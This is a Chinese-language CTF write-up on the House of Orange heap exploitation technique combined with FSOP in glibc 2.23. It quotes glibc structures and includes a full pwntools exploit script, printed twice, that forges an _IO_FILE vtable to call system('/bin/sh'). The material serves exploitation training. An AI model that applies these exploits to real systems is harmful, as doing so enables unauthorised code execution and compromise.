原理介绍

House of Orange能达到的效果:

  • 能在没有free的情况下将top chunk释放到unsortedbin中,便于leak libc地址和堆地址

实现条件:

  • 存在堆溢出能控制top chunk的size,并且可以申请的内存大小要大于top chunk的size

这一部分可以在没有free的情况下将top chunk加入到unsortedbin中,方便leak libc地址和堆地址。

具体原理:

当我们申请的size大小超过top chunk时,malloc重新申请一块区域作为top chunk,并且把之前的top chunk加入到unsortedbin中,所以就可以通过堆溢出修改top chunk的size,然后申请一个超过此size的chunk,就会触发。修改的size也有要求

  • 不能太小,要大于0x10(MINSIZE)
  • topchunk的结束地址(当前地址 + size)要与页基址对齐,一般就是0x1000(结尾三个0)
  • prev_inuse = 1

FSOP

结构体

1
2
3
4
5
struct _IO_FILE_plus
{
_IO_FILE file;
const struct _IO_jump_t *vtable;
};
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
struct _IO_FILE {
int _flags; /* High-order word is _IO_MAGIC; rest is flags. */
#define _IO_file_flags _flags

/* The following pointers correspond to the C++ streambuf protocol. */
/* Note: Tk uses the _IO_read_ptr and _IO_read_end fields directly. */
char* _IO_read_ptr; /* Current read pointer */
char* _IO_read_end; /* End of get area. */
char* _IO_read_base; /* Start of putback+get area. */
char* _IO_write_base; /* Start of put area. */
char* _IO_write_ptr; /* Current put pointer. */
char* _IO_write_end; /* End of put area. */
char* _IO_buf_base; /* Start of reserve area. */
char* _IO_buf_end; /* End of reserve area. */
/* The following fields are used to support backing up and undo. */
char *_IO_save_base; /* Pointer to start of non-current get area. */
char *_IO_backup_base; /* Pointer to first valid character of backup area */
char *_IO_save_end; /* Pointer to end of non-current get area. */

struct _IO_marker *_markers;

struct _IO_FILE *_chain;

int _fileno;

#if 0
int _blksize;
#else
int _flags2;
#endif
_IO_off_t _old_offset; /* This used to be _offset but it's too small. */

#define __HAVE_COLUMN /* temporary */
/* 1+column number of pbase(); 0 is unknown. */
unsigned short _cur_column;
signed char _vtable_offset;
char _shortbuf[1];
/* char* _save_gptr; char* _save_egptr; */
_IO_lock_t *_lock;

#ifdef _IO_USE_OLD_IO_FILE
};

struct _IO_FILE_complete
{
struct _IO_FILE _file;
#endif

#if defined _G_IO_IO_FILE_VERSION && _G_IO_IO_FILE_VERSION == 0x20001
_IO_off64_t _offset;
#if defined _LIBC || defined _GLIBCPP_USE_WCHAR_T
/* Wide character stream stuff. */
struct _IO_codecvt *_codecvt;
struct _IO_wide_data *_wide_data;
struct _IO_FILE *_freeres_list;
void *_freeres_buf;
#else
void *__pad1;
void *__pad2;
void *__pad3;
void *__pad4;
#endif
size_t __pad5;
int _mode;
/* Make sure we don't get into trouble again. */
char _unused2[15 * sizeof (int) - 4 * sizeof (void *) - sizeof (size_t)];
#endif
};

关键的地方是_chain字段,是指向单向链表的下一个IO_FILE结构体的指针。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
struct _IO_jump_t
{
JUMP_FIELD(size_t, __dummy);
JUMP_FIELD(size_t, __dummy2);
JUMP_FIELD(_IO_finish_t, __finish);
JUMP_FIELD(_IO_overflow_t, __overflow);
JUMP_FIELD(_IO_underflow_t, __underflow);
JUMP_FIELD(_IO_underflow_t, __uflow);
JUMP_FIELD(_IO_pbackfail_t, __pbackfail);
/* showmany */
JUMP_FIELD(_IO_xsputn_t, __xsputn);
JUMP_FIELD(_IO_xsgetn_t, __xsgetn);
JUMP_FIELD(_IO_seekoff_t, __seekoff);
JUMP_FIELD(_IO_seekpos_t, __seekpos);
JUMP_FIELD(_IO_setbuf_t, __setbuf);
JUMP_FIELD(_IO_sync_t, __sync);
JUMP_FIELD(_IO_doallocate_t, __doallocate);
JUMP_FIELD(_IO_read_t, __read);
JUMP_FIELD(_IO_write_t, __write);
JUMP_FIELD(_IO_seek_t, __seek);
JUMP_FIELD(_IO_close_t, __close);
JUMP_FIELD(_IO_stat_t, __stat);
JUMP_FIELD(_IO_showmanyc_t, __showmanyc);
JUMP_FIELD(_IO_imbue_t, __imbue);
#if 0
get_column;
set_column;
#endif
};

每个_IO_FILE_plus结构体中都有一个_IO_jump_t类型的vtable指针,并且这个指针的位置在_IO_FILE_plus结构体偏移0xd8处

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
struct _IO_jump_t
{
JUMP_FIELD(size_t, __dummy);
JUMP_FIELD(size_t, __dummy2);
JUMP_FIELD(_IO_finish_t, __finish);
JUMP_FIELD(_IO_overflow_t, __overflow);
JUMP_FIELD(_IO_underflow_t, __underflow);
JUMP_FIELD(_IO_underflow_t, __uflow);
JUMP_FIELD(_IO_pbackfail_t, __pbackfail);
/* showmany */
JUMP_FIELD(_IO_xsputn_t, __xsputn);
JUMP_FIELD(_IO_xsgetn_t, __xsgetn);
JUMP_FIELD(_IO_seekoff_t, __seekoff);
JUMP_FIELD(_IO_seekpos_t, __seekpos);
JUMP_FIELD(_IO_setbuf_t, __setbuf);
JUMP_FIELD(_IO_sync_t, __sync);
JUMP_FIELD(_IO_doallocate_t, __doallocate);
JUMP_FIELD(_IO_read_t, __read);
JUMP_FIELD(_IO_write_t, __write);
JUMP_FIELD(_IO_seek_t, __seek);
JUMP_FIELD(_IO_close_t, __close);
JUMP_FIELD(_IO_stat_t, __stat);
JUMP_FIELD(_IO_showmanyc_t, __showmanyc);
JUMP_FIELD(_IO_imbue_t, __imbue);
#if 0
get_column;
set_column;
#endif
};

当一个write、read函数调用时,最后都是根据偏移执行vtable中对应的函数。

对于一个linux进程,所有的IO_FILE结构都相互之间通过chain域链接,由一个单向链表维护。这个链表的表头就是IO_list_all这个指针。一般来说它指向_IO_2_1_stderr_这个符号。

原理

FSOP的核心就是劫持IO_list_all这个指针来劫持程序执行流,让程序最终从一个伪造的file结构中取出伪造的虚表,在这个伪造的虚表中在某个将要被调用的函数处将其覆盖为system或者onegadget即可getshell。

CTF-WiKi说过

这一系列的操作,我们希望通过_IO_flush_all_lockp这个函数来触发,这个函数会刷新_IO_list_all 链表中所有项的文件流,相当于对每个 FILE 调用 fflush,也对应着会调用_IO_FILE_plus.vtable 中的_IO_overflow

_IO_flush_all_lockp这个函数它不需要攻击者手动调用,在一些情况下这个函数会被系统调用:

  • 当 libc 执行 abort 流程时
  • 当执行 exit 函数时
  • 当执行流从 main 函数返回时
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
int
_IO_flush_all_lockp (int do_lock)
{
int result = 0;
struct _IO_FILE *fp;
int last_stamp;

#ifdef _IO_MTSAFE_IO
__libc_cleanup_region_start (do_lock, flush_cleanup, NULL);
if (do_lock)
_IO_lock_lock (list_all_lock);
#endif

last_stamp = _IO_list_all_stamp;
fp = (_IO_FILE *) _IO_list_all;
while (fp != NULL)
{
run_fp = fp;
if (do_lock)
_IO_flockfile (fp);

if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)
#if defined _LIBC || defined _GLIBCPP_USE_WCHAR_T
|| (_IO_vtable_offset (fp) == 0
&& fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr
> fp->_wide_data->_IO_write_base))
#endif
)
&& _IO_OVERFLOW (fp, EOF) == EOF)
result = EOF;

if (do_lock)
_IO_funlockfile (fp);
run_fp = NULL;

if (last_stamp != _IO_list_all_stamp)
{
/* Something was added to the list. Start all over again. */
fp = (_IO_FILE *) _IO_list_all;
last_stamp = _IO_list_all_stamp;
}
else
fp = fp->_chain;
}

#ifdef _IO_MTSAFE_IO
if (do_lock)
_IO_lock_unlock (list_all_lock);
__libc_cleanup_region_end (0);
#endif

return result;
}

所以说,当调用_IO_flush_all_lockp这个函数时,最后调用的其实是vtable虚表中的IO_overflow,只要能将这个函数修改为system即可。这个函数在vtable中的偏移是0x18,第四个函数。

利用过程

需要配合unsortedbin_attack进行,利用unsortedbin_attackmain_arena+88的地址写入到IO_list_all中。此时如果触发了_IO_flush_all_lockp这个函数,就会根据IO_list_all找到main_arena+88中,_IO_flush_all_lockp会通过chain域对每个IO_FILE结构调用_IO_overflow,第一次调用是把main_arena处当做FILE结构,这个调用必然会失败,但是不会导致程序崩溃。这时根据距离main_arena+88偏移为0x68处的_chain找到下一个IO_FILE。找到IO_FILE后会根据偏移0xd8处找到vtable指针,再找到vtable虚表,执行第四个函数IO_overflow(算是第二次调用)。

unsorted bin往后0x68大致是small bin范围,只需要控制一个合理的堆块,将其释放到对应位置即可。

所以说,此chunk必须是size为0x60大小的才行,这样才能合理的释放到距离main_arena+88偏移为0x68处的位置。

fake_file构造思路:

1
2
3
4
5
6
7
fake_file ='/bin/sh\x00'+p64(0x61)
fake_file+=p64(0)+p64(io_list_all-0x10)
fake_file+=p64(0)+p64(1)
fake_file=fake_file.ljust(0xd8,'\x00')
fake_file+=p64(fake_file_addr)
fake_file+=3*p64(0)
fake_file+=p64(system_addr)

用这个结构去篡改unsorted bin中最后的一个堆块(会最先取到的那个),然后随便申请一个内存块(尽量大一点避开0x60或者触发分割),让这个堆块进入到small bin中去,之后unsorted bin被破坏了,接下来会发生错误,触发_IO_flush_all_lockp,在第二次IO_OVERFLOW时,取的函数指针为system,传的参数为file结构体的指针,也就是这里的/bin/sh的地址,然后就会触发system(“/bin/sh”),这样我们就拿到shell了。

例题

漏洞点

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
int change_note()
{
signed int v1; // [rsp+8h] [rbp-8h]
unsigned int nbytes; // [rsp+Ch] [rbp-4h]

puts("Which note do you want to change?");
v1 = read_int();
if ( (unsigned int)v1 > 9 || !*((_QWORD *)&note_list + v1) )
return puts("Error index!!!");
puts("Please input the size of your note:");
nbytes = read_int();
puts("Please write your new note:");
read(0, *((void **)&note_list + v1), nbytes);
return puts("Done!");
}

nbytes无符号,输入-1,就会有超大溢出空间。存在堆溢出漏洞,这道题没有free函数。

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
from pwn import *
from ctypes import *
from libcfind import *
from LibcSearcher import*
import base64
import sys
context(os='linux', arch='amd64', log_level='debug')
context.terminal = ["tmux","splitw","-h"]
debug = 1
if debug:
p = process('./pwn')
elf = ELF('./pwn')
# p = process('', env={'LD_PRELOAD':'./libc.so'})
# gdb.attach(p)
else:
p = remote('challenge-1649dcbca1725a1e.sandbox.ctfhub.com', 29367)
elf = ELF('./pwn')
# -----------------------------------------------------------------------
s = lambda data: p.send(data)
sa = lambda text, data: p.sendafter(text, data)
sl = lambda data: p.sendline(data)
sla = lambda text, data: p.sendlineafter(text, data)
r = lambda num=4096: p.recv(num)
rl = lambda text: p.recvuntil(text)
pr = lambda num=4096: sys.stdout.write(p.recv(num))
inter = lambda: p.interactive()
l32 = lambda: u32(p.recvuntil('\xf7')[-4:].ljust(4,'\x00'))
l64 = lambda: u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
uu32 = lambda: u32(p.recv(4).ljust(4, '\x00'))
uu64 = lambda: u64(p.recv(6).ljust(8, '\x00'))
int16 = lambda data: int(data, 16)
lg = lambda s, num: p.success('%s -> 0x%x' % (s, num))
# -----------------------------------------------------------------------
libc = ELF('./libc-2.23.so')
def add(size,content):
rl("Input your choice >> ")
sl('1')
rl("How long is your note?")
sl(str(size))
rl("Please write your note now:")
sl(content)
def show():
rl("Input your choice >> ")
sl('2')

def edit(index,size,content):
rl("Input your choice >> \n")
sl('3')
rl("Which note do you want to change?\n")
sl(str(index))
rl("Please input the size of your note:\n")
sl(str(size))
rl("Please write your new note:\n")
sl(content)

gdb.attach(p)
add(0x10,'aaaa')
edit(0,-1,p64(0)*3+p64(0xfe1))
add(0x1000,'a')
add(0x80,'a')
show()
rl("No.2 note: ")
libc_leak = uu64()
lg("libc_leak",libc_leak)
libc_base = libc_leak-0xa61+0x4b78-0x3c4b78
lg("libc_base",libc_base)
io_list_all=libc_base+libc.symbols['_IO_list_all']
lg("io_list_all",io_list_all)
system_addr=libc_base+libc.symbols['system']

edit(2,-1,'a'*15)
show()
rl('a'*15)
rl("\x0a")
heap_leak = uu64()
lg("heap_leak",heap_leak)
heap_base = heap_leak-0x20
lg("heap_base",heap_base)

add(0xec0,'a')
payload = 'a'*0xec0
fake_file = '/bin/sh\x00'+p64(0x61)
fake_file += p64(0) + p64(io_list_all-0x10)
fake_file += p64(0)+p64(1)
fake_file = fake_file.ljust(0xd8,'\x00')
fake_file += p64(heap_base+0x1060)
fake_file += 3 * p64(0)
fake_file += p64(system_addr)

edit(3,-1,payload+fake_file)

rl("Input your choice >> ")
sl('1')
rl("How long is your note?")
sl(str(0x80))

inter()

第一部分是通过溢出修改top chunk的size,然后触发将其释放到unsortedbin中后泄露libc地址。

第二部分利用这个unsortedbin再泄露heap地址。

第三部分malloc一个chunk,使得unsortedbin中只剩一个0x60大小的chunk。这个chunk就是要伪造的IO_FILE以及虚表。

然后对0x60的chunk进行伪造fake_file。

最后申请一个大于0x60大小的chunk,根据unsortedbin中的原则,会遍历unsortedbin,然后将这个0x60的chunk放到smallbin中,所以在main_arena中对应的位置会有此chunk的地址,这个位置同时也是第一个伪造的IO_FILE_chain指针,指向下一个IO_FILE。所以此时0x60这个chunk就是第二个IO_FILE,然后根据0xd8的偏移找到vtable虚表指针,此时这个指针被伪造成堆上的一个地址,再根据0x18的偏移找到IO_overflow函数,此时已被伪造成system,就会执行system(‘/bin/sh’)。因为参数是伪造的IO_FILE地址,就是0x60chunk的地址。

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
from pwn import *
from ctypes import *
from libcfind import *
from LibcSearcher import*
import base64
import sys
context(os='linux', arch='amd64', log_level='debug')
context.terminal = ["tmux","splitw","-h"]
debug = 1
if debug:
p = process('./pwn')
elf = ELF('./pwn')
# p = process('', env={'LD_PRELOAD':'./libc.so'})
# gdb.attach(p)
else:
p = remote('challenge-1649dcbca1725a1e.sandbox.ctfhub.com', 29367)
elf = ELF('./pwn')
# -----------------------------------------------------------------------
s = lambda data: p.send(data)
sa = lambda text, data: p.sendafter(text, data)
sl = lambda data: p.sendline(data)
sla = lambda text, data: p.sendlineafter(text, data)
r = lambda num=4096: p.recv(num)
rl = lambda text: p.recvuntil(text)
pr = lambda num=4096: sys.stdout.write(p.recv(num))
inter = lambda: p.interactive()
l32 = lambda: u32(p.recvuntil('\xf7')[-4:].ljust(4,'\x00'))
l64 = lambda: u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
uu32 = lambda: u32(p.recv(4).ljust(4, '\x00'))
uu64 = lambda: u64(p.recv(6).ljust(8, '\x00'))
int16 = lambda data: int(data, 16)
lg = lambda s, num: p.success('%s -> 0x%x' % (s, num))
# -----------------------------------------------------------------------
libc = ELF('./libc-2.23.so')
def add(size,content):
rl("Input your choice >> ")
sl('1')
rl("How long is your note?")
sl(str(size))
rl("Please write your note now:")
sl(content)
def show():
rl("Input your choice >> ")
sl('2')

def edit(index,size,content):
rl("Input your choice >> \n")
sl('3')
rl("Which note do you want to change?\n")
sl(str(index))
rl("Please input the size of your note:\n")
sl(str(size))
rl("Please write your new note:\n")
sl(content)

gdb.attach(p)
add(0x10,'aaaa')
edit(0,-1,p64(0)*3+p64(0xfe1))
add(0x1000,'a')
add(0x80,'a')
show()
rl("No.2 note: ")
libc_leak = uu64()
lg("libc_leak",libc_leak)
libc_base = libc_leak-0xa61+0x4b78-0x3c4b78
lg("libc_base",libc_base)
io_list_all=libc_base+libc.symbols['_IO_list_all']
lg("io_list_all",io_list_all)
system_addr=libc_base+libc.symbols['system']

edit(2,-1,'a'*15)
show()
rl('a'*15)
rl("\x0a")
heap_leak = uu64()
lg("heap_leak",heap_leak)
heap_base = heap_leak-0x20
lg("heap_base",heap_base)

add(0xec0,'a')
payload = 'a'*0xec0
fake_file = '/bin/sh\x00'+p64(0x61)
fake_file += p64(0) + p64(io_list_all-0x10)
fake_file += p64(0)+p64(1)
fake_file = fake_file.ljust(0xd8,'\x00')
fake_file += p64(heap_base+0x1060)
fake_file += 3 * p64(0)
fake_file += p64(system_addr)

edit(3,-1,payload+fake_file)

rl("Input your choice >> ")
sl('1')
rl("How long is your note?")
sl(str(0x80))

inter()

image-20240327113901877

此处报错是第一次调用IO_overflow,此时的vtable虚表指针无法伪造,所以会错误,但是程序不会崩溃,会继续第二次寻找IO_FILE然后继续调用。getshell就是利用的第二次调用IO_overflow

伪造的fake_file形式

1
2
3
4
5
6
7
fake_file ='/bin/sh\x00'+p64(0x61)
fake_file+=p64(0)+p64(io_list_all-0x10)
fake_file+=p64(0)+p64(1)
fake_file=fake_file.ljust(0xd8,'\x00')
fake_file+=p64(fake_file_addr)
fake_file+=3*p64(0)
fake_file+=p64(system_addr)